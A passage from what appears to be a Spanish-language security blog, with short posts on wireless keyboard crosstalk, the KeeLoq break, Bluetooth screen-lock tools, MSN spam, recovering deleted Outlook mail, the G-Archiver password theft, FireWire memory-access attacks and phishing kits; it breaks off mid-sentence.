image Un día me llamó un cliente y me cuenta, convencido, que cuando mueve el mouse en su PC también le mueve el puntero a la máquina de un compañero. Sabiendo que casi todos los equipos de esa oficina cuentan con acceso por control remoto, mi primer temor fue que de alguna "inexplicable" forma se hubiese establecido una conexión entre las dos máquinas a través de este servicio, además en ese lugar solía pasar alguien de poca confianza metiendo VNC y otros servicios en algunos equipos que necesitaba controlar. Pero parecía muy poco probable, yo no comparto esos datos de conexión y hasta donde sabía no había nadie capaz de hacer algo así. En el medio de la conversación, mientras le hago ciertas preguntas arbitrarias para ilustrarme mentalmente un poco mejor la situación, surge algo que no tenía previsto: Mi interlocutor tenía un mouse inalámbrico. En seguida le pregunto si el otro usuario también tenía otro y, como dicen en las series yanquis, bingo!, tenemos un ganador. Ambos usaban unos mouses inalámbricos de la misma marca, y aunque eran modelos distintos, claramente la parte de la comunicación y el cifrado debería ser idéntica. Para asegurarme de que realmente fuera por esto y que al cliente también le quedara claro, le pedí que reemplace su mouse por otro con cable. A los pocos minutos llama nuevamente para confirmarme que se había solucionado el problema, pero que ahora notaban que pasaba lo mismo pero con el teclado: Al escribir en un teclado aparecían el resultado de las pulsaciones también en la otra máquina. Ahí se reveló que ambos estaban usando un combo inalámbrico teclado+mouse, y por supuesto la solución más efectiva fue resincronizar uno de estos para que no se interfieran entre sí.

Hace poco Alejandro de SpamLoco hablaba sobre la seguridad física de la PC y enlazaba a un post mío donde se hablaba de lo vulnerables que son los métodos de cifrado en los teclados inalámbricos. Esta anécdota no hace más que reafirmarlo.

image Unos científicos alemanes lograron descifrar la clave maestra de encriptación del sistema de seguridad electrónico más utilizado en automóviles y puertas de garaje. Honda, Toyota, Volvo, Volkswagen y muchos otros fabricantes de automóviles con relevancia mundial confiaron durante años la seguridad de sus vehículos al sistema conocido como KeeLoq, fabricado por la firma estadounidense Microchip Technology. Este sistema, según trascendió, utilizaba un algoritmo de cifrado que fue mantenido en secreto durante 20 años, o sea, la compañía utilizó el paradigma de seguridad por oscuridad para salvaguardar la inquebrantabilidad de su producto. Pero hace 18 meses alguien publicó una entrada en Wikipedia revelando sus entrañas, y eso dictaminó el fin de su reinado. Rápidamente se descubrió que el algoritmo de encriptación propietario que utilizaban resultaba débil, y así estos investigadores llegaron a afirmar que con el equipo necesario, cuyo costo rondaría los U$S 3.000, y estando a en un radio de 100 metros para capturar la señal de radio del control remoto en cuestión, pueden conseguir la clave que les abrirá las puertas de ese auto en tan sólo una hora, y la de todos los modelos de ese fabricante en menos de un día.

Vía SundayHerald, visto en Digg.

image Al igual que Blue Lock que lo vimos hace poco, BtProx es otra aplicación que permite bloquear nuestra sesión de Windows al salirse del rango de señal el dispositivo Bluetooth especificado, posiblemente nuestro teléfono celular o PDA. Este programa además de gratuito es de código abierto, y también permite configurar un tiempo de espera ante la pérdida de señal del dispositivo "llave" antes de bloquear nuestra sesión de Windows en la PC.

Vía LifeHacker.

Hay lugar para todos

image Hoy encontré que tenía un mensaje nuevo en la carpeta de correo no deseado de Opera que me llamó la atención, y al abrirlo descubro que esa amiga que se la pasa entrando a cuanto chequeador de estado de MSN y red social pedorra exista, a la cual ya le había explicado con detalle que los primeros le roban la cuenta de MSN mientras que todos se aprovechan de esta para enviar spam a sus contactos (sino jamás me enteraría que existen) se pasó mis consejos por donde se pone el protector diario, y como resultado de eso recibía otro mail anunciando un sitio que prometía decirme quien me borro de mi msn.

En esta ocasión el infame fue tebloqueo.tk, y el mail decía lo siguiente:

Asunto: Quien cres que te borro del msn !!!

¿Quieres saber quien te borro de tu msn?
Entra a Te bloqueo.tk …
Fíjate fácilmente quien te admite y quien no.. es una pagina segura! ni siquiera te cambia el nick como lo hacen las otras
Yo entre y no me afecto nada en mi cuenta ni en mis contactos jeje …
Ademas puedes crear tu nick como tu quieras, chatear y hacer tu display personalizado!!
www.TeBloqueo.tk
Ahora si bye, no te olvides entra esta buenísima !

Seguir leyendo »

Ronald van den Heetkamp explica desde su sitio, The Hacker Webzine, como el paradigma de la seguridad informática cambió radicalmente en los últimos años, en una especie de mensaje destinada a los especialistas en seguridad que se "quedaron en el tiempo". Según sus propias palabras, ya no se trata solamente de usar un firewall, un IDS, y un antivirus, herramientas necesarias pero no definitivas para intentar frenar los ataques de hoy en día. Como nunca se cansa de predicar en su weblog, hoy el verdadero riesgo pasa no por un puerto abierto, sino por la web y lo vulnerable de sus aplicaciones a técnicas como la inyección SQL o el cross-site scripting. Una lectura más que recomendable para saber por donde pasa la seguridad en estos tiempos.

image La aplicación de código abierto Blue Lock permite configurar como llave nuestro teléfono celular u otro gadget que llevemos encima con Bluetooth activado, y así bloquear automáticamente nuestra sesión de Windows si nos alejamos demasiado de nuestro equipo al dejar de percibir la señal de radio. Por supuesto, sólo funciona si nuestro gadget no tiene demasiada potencia ni alcance, caso contrario quedará nuestra sesión abierta aunque nos vayamos al otro lado de la oficina. Será cuestión de probar.

Vía LifeHacker.

image En Gurú de la Informática explican un método bastante ingenioso para poder recuperar mensajes borrados de Microsoft Outlook. Básicamente el secreto detrás de este truco es que cuando se borra un email en MS Outlook este no es realmente eliminado del archivo PST donde se almacenan todos los datos, sino que simplemente se marca para no ser mostrado, algo que sucede incluso si estos son eliminados de la papelera. Sabiendo esto, se puede utilizar scanpst, una herramienta de reparación de archivos PST que viene incorporada en el paquete MS Office, para recuperar todos los mensajes del PST "dañado", incluyendo aquellos que se suponía habían sido completamente borrados. Y esto, claro, lo conseguimos dañando levemente el archivo PST en cuestión para que scanpst lo vea como dañado y haga su trabajo. Para esto, como dicen en el artículo, sólo hace falta cambiar un byte por el comienzo del archivo con algún editor hexadecimal.

Las instrucciones completas y con más detalle las pueden encontrar en el artículo original de Gurú de la Informática.

Esta fue otra noticia sobre seguridad que sorprendió a muchos y preocupó a otros esta semana. Una aplicación shareware llamada G-Archiver, creada con el propósito de que los usuarios realicen backups de sus datos en sus cuentas de GMail, fue encontrada culpable de uno de los mayores crímenes que puede cometer un programa o sitio web: Almacenar y enviar a su creador los nombres y claves de cada cuenta que se configuraba en ella, en este caso las de las cuentas de GMail que debían ingresar quienes usaran este programa. El descubridor de este robo descarado de cuentas fue un tal Dustin Brooks, que utilizó Reflector, un decompilador para la plataforma .NET de Microsoft, sobre la cual estaba creada la aplicación. Según lo visto, el creador de este auténtico caballo de Troya, John Terry, no dio muchas vueltas e hizo algo bastante simple y burdo para obtener las claves de sus usuarios/víctimas; simplemente la aplicación enviaba un mensaje a su cuenta de GMail con los datos personales obtenidos. De esta forma, Dustin consiguió la clave de acceso al GMail de Terry, almacenada dentro del código de la aplicación para hacer posible el envío por medio de este servicio, y así pudo ingresar a esta cuenta y observar como contenía más de 1.700 mensajes con datos de cuentas robadas de GMail.

image

Desde ya los pedidos de disculpas y las rectificaciones vinieron desde el lado del creador de esta engañosa herramienta, aludiendo a un "error" que hizo que quedara una porción de código utilizada para pruebas dentro de la versión pública, y que inmediatamente sería solucionado. Lo que es seguro es que nunca más alguien que se entere de esta noticia volverá a confiar en esta aplicación o en este programador.

Vía Coding Horror, visto en Kriptópolis.

Estos días tomó notoriedad uno de esos agujeros que suelen permanecer ocultos de la vista del público a pesar de su severidad: La posibilidad de tomar el control completo de cualquier computadora que posea un puerto Firewire (estándar IEEE 1394), sin importar su sistema operativo. Esto no es posible gracias a ninguna oscura vulnerabilidad encontrada en la implementación del mismo, sino un resultado obvio que se debe a una de sus principales características: La posibilidad de acceder directamente a la memoria del sistema, sin intervención alguna por parte del procesador.

image

En el gráfico anterior, extraído de la presentación (en PDF) realizada por Adam Boileau en el 2006, se retrata perfectamente como cualquier dispositivo Firewire externo puede leer o escribir cualquier dirección de memoria que quiera mientras el procesador del sistema está "ocupado" en otras cosas. Wink

Y por qué sale a luz este tema dos años después? Porque ese es el plazo que este hacker estableció para la liberación de una de las herramientas que utilizó en su demostración, Winlockpwn, la cual permite realizar este tipo de intrusión en equipos con puertos Firewire que corran Windows.

Para prevenir este tipo de intrusión, que de todas formas requiere acceso físico al equipo, la única recomendación posible es deshabilitar desde el BIOS de la máquina los puertos Firewire o bien hacerlo con los drivers del sistema operativo, aunque también otra opción válida es llenar de pegamento los puertos, cosa que mucho admins hicieron y hacen con los USB. Pero esto, o el tener equipos sin Firewire, realmente no nos exime del todo de este peligro, ya que, según cuenta el mismo Adam, se han hecho pruebas de concepto con esta forma de intrusión en equipos que no poseían Firewire simplemente colocando una tarjeta Firewire PC Card, que al ser automáticamente detectada e instalada, incluso con el sistema bloqueado, permitió el libre acceso a la memoria del equipo. Así que además de no tener Firewire tampoco debemos tener PC Card, poxyran para las notebooks!

De todas formas, esta sería una más de las cosas que se pueden hacer para tomar control de un equipo si se tiene acceso físico a él; no es algo por lo que uno debería andar arrancándose los pelos. Lo único a considerar es que es muy fácil y común hoy en día, al nivel de que a poca gente le llama la atención, conectar un gadget al puerto de una computadora, que es todo lo que este método necesita.

Vía Denken Über.

image El mundo del phishing no tiene límites. Ya es ampliamente conocido que existen disponibles en la red decenas de kits ya preparados para realizar esta actividad contra los sitios de Internet más populares, pero ahora se fue un paso más allá. De acuerdo a este artículo del weblog de Trend Micro, se encontraron alrededor de 400 kits de phishing preparados para imitar a los sitios más populares de la web 2.0, entre los que se encuentran conocidas redes sociales, sitios de publicación de videos, de VoIP, y famosas instituciones financieras.

Pero lo más llamativo